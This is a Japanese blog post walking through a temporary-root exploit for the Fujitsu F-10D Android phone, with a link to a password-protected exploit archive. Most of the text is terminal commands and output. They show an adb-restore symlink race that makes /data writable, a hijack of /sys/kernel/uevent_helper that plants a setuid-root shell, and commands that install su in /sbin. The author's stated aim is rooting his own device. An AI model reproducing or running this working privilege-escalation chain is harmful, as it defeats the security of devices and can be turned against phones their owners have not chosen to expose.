完全にチラ裏。後は偉い人の検証やらまとめとか。

いや、何で今更こんな記事書くかって?
まさかのおいらのskypeに対して凸してきた人がいるからw
つーかそんな労力あるなら情報引っ張ってこれるだろうに・・・

ID晒したことなんてないし、よー見つけてきたなと感心。それと敬意を表明して書きますねw

http://ux.getuploader.com/star69/download/29/F10D_root_0903.zipF10D_root_0903.zip

PW:F-10D

リストアは readme3方式を使う
C:> adb restore f-10d_2.ab
 ~~~ Android端末側で復元を許可する ~~~

C:> adb shell
shell@android:/ $ cd /data/data/com.android.settings/a/
cd /data/data/com.android.settings/a/
shell@android:/data/data/com.android.settings/a $ ls -l -d
ls -l -d
drwxrwxrwx system   system            2012-10-01 20:51 .
shell@android:/data/data/com.android.settings/a $ ls -l
ls -l
drwxrwxrwx system   system            2012-10-01 20:51 file00
drwxrwxrwx system   system            2012-10-01 20:51 file01
drwxrwxrwx system   system            2012-10-01 20:51 file02
drwxrwxrwx system   system            2012-10-01 20:51 file03
 ~~~ 省略 ~~~
 ~~~ 省略 ~~~
drwxrwxrwx system   system            2012-10-01 20:51 file97
drwxrwxrwx system   system            2012-10-01 20:51 file98
drwxrwxrwx system   system            2012-10-01 20:51 file99
shell@android:/data/data/com.android.settings/a $ cd /data/data/com.android.sett
ings/
com.android.settings/                                                         <
shell@android:/data/data/com.android.settings $ ls -l
ls -l
drwxrwxrwx system   system            2012-10-01 20:51 a
drwx------ system   system            2012-10-01 20:51 files
drwxr-xr-x system   system            2000-01-01 09:23 lib
shell@android:/data/data/com.android.settings $ rm -r a
rm -r a
rm failed for a, Permission denied
255|shell@android:/data/data/com.android.settings $


255|shell@android:/data/data/com.android.settings $ while : ; do ln -s /data a/f
ile99; done
ln -s /data a/file99; done                                                    <
link failed File exists
link failed File exists
link failed File exists
 ~~~ 延々と出る ~~~
 ~~~ 延々と出る ~~~

 ~~~ ↓↓↓もう一つコマンドラインを開いて実行する ~~~
C:> adb restore f-10d_2.ab
 ~~~ Android端末側で復元を許可する ~~~
 ~~~ ↑↑↑もう一つコマンドラインを開いて実行する ~~~

link failed No such file or directory ← ここで復元をした
link failed No such file or directory
link failed No such file or directory
link failed No such file or directory
link failed No such file or directory
link failed No such file or directory
link failed No such file or directory
link failed No such file or directory
link failed No such file or directory
link failed No such file or directory
link failed No such file or directory
link failed No such file or directory
link failed No such file or directory
link failed No such file or directory
link failed No such file or directory
link failed No such file or directory
link failed No such file or directory
link failed No such file or directory
link failed No such file or directory
link failed No such file or directory
link failed No such file or directory
link failed File exists
link failed File exists
link failed File exists
 ~~~ 延々と出る ~~~
 ~~~ 延々と出る ~~~
^C ← CTRL+Cで中断する。

>
C:> adb shell
shell@android:/ $ ls -l -d /data
ls -l -d /data
drwxrwxrwx system   system            1970-01-16 22:24 data
shell@android:/ $ exit
exit


C:> adb push mkdevsh /data/local/tmp/
1930 KB/s (648486 bytes in 0.328s)

C:> adb shell
shell@android:/ $ chmod 777 /data/local/tmp/mkdevsh
chmod 777 /data/local/tmp/mkdevsh
shell@android:/ $ mv /data/local /data/local.org
mv /data/local /data/local.org
shell@android:/ $ mkdir /data/local
mkdir /data/local
shell@android:/ $ ln -s /sys/kernel/uevent_helper /data/local/tmp
ln -s /sys/kernel/uevent_helper /data/local/tmp
shell@android:/ $ exit
exit

C:> adb reboot
C:> adb wait-for-device shell
shell@android:/ $ echo /data/local.org/tmp/mkdevsh > /sys/kernel/uevent_helper

shell@android:/ $ ls -l /dev/sh
ls -l /dev/sh
-rwsr-sr-x root     root       151964 2012-10-01 21:01 sh

shell@android:/ $ /dev/sh
# ← rootキター?!(systemの書き換えが出来ないので一時rootです)

その後

>adb shell $ /dev/sh # mount -o rw,remount -t rootfs rootfs / # chmod 777 /sbin # cat /data/local/a/su >/sbin/su # chown 0.0 /sbin/su # chmod 6755 /sbin/su # chmod 755 /sbin # mount -o ro,remount -t rootfs rootfs /

上記手順で一時root取れるはず。おいらは問題なく取れた。
102SH2だけど、こちらも問題なく取れている状態。
LSMは今のところ無理。解析しようにも今の環境じゃちょっと無理だし検証も難しい。


つーか、また画面にスジが浮いてきたw何回交換やら修理させれば気が済むんだよおい・・・
入院させる必要あるだろうし、穴塞がってなけりゃいいもんだが・・・